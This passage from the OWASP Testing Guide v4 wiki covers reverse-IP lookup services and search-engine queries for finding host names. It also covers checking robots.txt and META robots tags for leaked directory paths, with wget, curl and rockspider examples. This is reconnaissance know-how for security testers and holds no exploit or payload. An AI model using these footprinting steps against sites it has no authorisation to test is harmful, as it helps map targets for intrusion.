Reverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.

''Domain tools reverse IP'': http://www.domaintools.com/reverse-ip/
(requires free membership)

''MSN search'': http://search.msn.com
syntax: "ip:x.x.x.x" (without the quotes)

''Webhosting info'': http://whois.webhosting.info/
syntax: http://whois.webhosting.info/x.x.x.x

''DNSstuff'': http://www.dnsstuff.com/
(multiple services available)

http://www.net-square.com/mspawn.html
(multiple queries on domains and IP addresses, requires installation)

''tomDNS'': http://www.tomdns.net/index.php
(some services are still private at the time of writing)

''SEOlogs.com'': http://www.seologs.com/ip-domains.html
(reverse-IP/domain lookup)

The following example shows the result of a query to one of the above reverse-IP services to 216.48.3.18, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.

<center>
[[Image:Owasp-Info.jpg]]
</center>

''Googling'' 
Following information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs.

For instance, considering the previous example regarding ''www.owasp.org'', the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of ''webgoat.org'', ''webscarab.com'', and ''webscarab.net''.

Googling techniques are explained in [[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|Testing: Spiders, Robots, and Crawlers]].

=== Gray Box Testing ===
Not applicable. The methodology remains the same as listed in Black Box testing no matter how much information the tester starts with.

==Tools==
* DNS lookup tools such as ''nslookup'', ''dig'' and similar.
* Search engines (Google, Bing and other major search engines).
* Specialized DNS-related web-based search service: see text.
* Nmap - http://www.insecure.org
* Nessus Vulnerability Scanner - http://www.nessus.org
* Nikto - http://www.cirt.net/nikto2

== References ==
'''Whitepapers'''
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

Review Webserver Metafiles for Information Leakage (OTG-INFO-003)

2014-08-01T18:22:53Z

Jane O'Connor:

{{Template:OWASP Testing Guide v4}}

== Summary ==
This section describes how to test the robots.txt file for information leakage of the web application's directory or folder path(s). Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for OWASP-IG-009[https://www.owasp.org/index.php/Testing_Map_execution_paths_through_application_(OWASP-IG-009)]

== Test Objectives ==
1. Information leakage of the web application's directory or folder path(s).

2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers.

== How to Test ==
Web Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the ''Robots Exclusion Protocol'' of the robots.txt file in the web root directory [1].
 

'''robots.txt in webroot''' 
As an example, the beginning of the robots.txt file from http://www.google.com/robots.txt sampled on 11 August 2013 is quoted below:
<pre>
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
</pre>

The ''User-Agent'' directive refers to the specific web spider/robot/crawler. For example the ''User-Agent: Googlebot'' refers to the spider from Google while "User-Agent: bingbot"[http://www.bing.com/blogs/site_blogs/b/webmaster/archive/2010/06/28/bing-crawler-bingbot-on-the-horizon.aspx] refers to crawler from Microsoft/Yahoo!. ''User-Agent: *'' in the example above applies to all web spiders/robots/crawlers [2] as quoted below:
<pre>
User-agent: *
</pre>

The ''Disallow'' directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, directories such as the following are prohibited:
<pre>
...
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
</pre>

Web spiders/robots/crawlers can intentionally ignore the ''Disallow'' directives specified in a robots.txt file [3], such as those from Social Networks[https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html] to ensure that shared linked are still valid. Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.
 

'''<META> Tag''' 

<META> tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a "deep link"[http://en.wikipedia.org/wiki/Deep_linking].

If there is no "<META NAME="ROBOTS" ... >" entry then the "Robots Exclusion Protocol" defaults to "INDEX,FOLLOW" respectively. Therefore, the other two valid entries defined by the "Robots Exclusion Protocol" are prefixed with "NO..." i.e. "NOINDEX" and "NOFOLLOW".

Web spiders/robots/crawlers can intentionally ignore the "<META NAME="ROBOTS"" tag as the robots.txt file convention is preferred. Hence, <META> Tags should not be considered the primary mechanism, rather a complementary control to robots.txt.

=== Black Box Testing ===
'''robots.txt in webroot - with "wget" or "curl" 

The robots.txt file is retrieved from the web root directory of the web server. For example, to retrieve the robots.txt from www.google.com using "wget" or "curl":
<pre>
cmlh$ wget http://www.google.com/robots.txt
--2013-08-11 14:40:36-- http://www.google.com/robots.txt
Resolving www.google.com... 74.125.237.17, 74.125.237.18, 74.125.237.19, ...
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘robots.txt.1’

[ <=> ] 7,074 --.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
</pre>
<pre>
cmlh$ curl -O http://www.google.com/robots.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
</pre>

'''robots.txt in webroot - with rockspider''' 
"rockspider"[https://github.com/cmlh/rockspider/releases] automates the creation of the initial scope for Spiders/Robots/Crawlers of files and directories/folders of a web site.

For example, to create the initial scope based on the Allowed: directive from www.google.com using "rockspider"[https://github.com/cmlh/rockspider/releases]:
<pre>
cmlh$ ./rockspider.pl -www www.google.com

"Rockspider" Alpha v0.1_2

Copyright 2013 Christian Heinrich
Licensed under the Apache License, Version 2.0

1. Downloading http://www.google.com/robots.txt
2. "robots.txt" saved as "www.google.com-robots.txt"
3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080
/catalogs/about sent
/catalogs/p? sent
/news/directory sent
...
4. Done.

cmlh$
</pre>

'''<META> Tags - with Burp''' 

Based on the Disallow directive(s) listed within the robots.txt file in webroot, a regular expression search for "<META NAME="ROBOTS"" within each web page is undertaken and the result compared to the robots.txt file in webroot.

For example, the robots.txt file from facebook.com has a "Disallow: /ac.php" entry[http://facebook.com/robots.txt] and the resulting search for "<META NAME="ROBOTS"" shown below:
 
[[File:CMLH-Meta Tag Example-Facebook-Aug 2013.png]]
 

The above might be considered a fail since "INDEX,FOLLOW" is the default <META> Tag specified by the "Robots Exclusion Protocol" yet "Disallow: /ac.php" is listed in robots.txt.

'''Analyze robots.txt using Google Webmaster Tools''' 
Web site owners can use the Google "Analyze robots.txt" function to analyse the website as part of its "Google Webmaster Tools" (https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:

1. Sign into Google Webmaster Tools with a Google account. 
2. On the dashboard, write the URL for the site to be analyzed. 
3. Choose between the available methods and follow the on screen instruction. 

=== Gray Box Testing ===
The process is the same as Black Box testing above.
 

== Tools ==

* Browser (View Source function)
* curl
* wget
* rockspider[https://github.com/cmlh/rockspider/releases]

== References ==
'''Whitepapers''' 
* [1] "The Web Robots Pages" - http://www.robotstxt.org/
* [2] "Block and Remove Pages Using a robots.txt File" - https://support.google.com/webmasters/answer/156449
* [3] "(ISC)2 Blog: The Attack of the Spiders from the Clouds" - http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html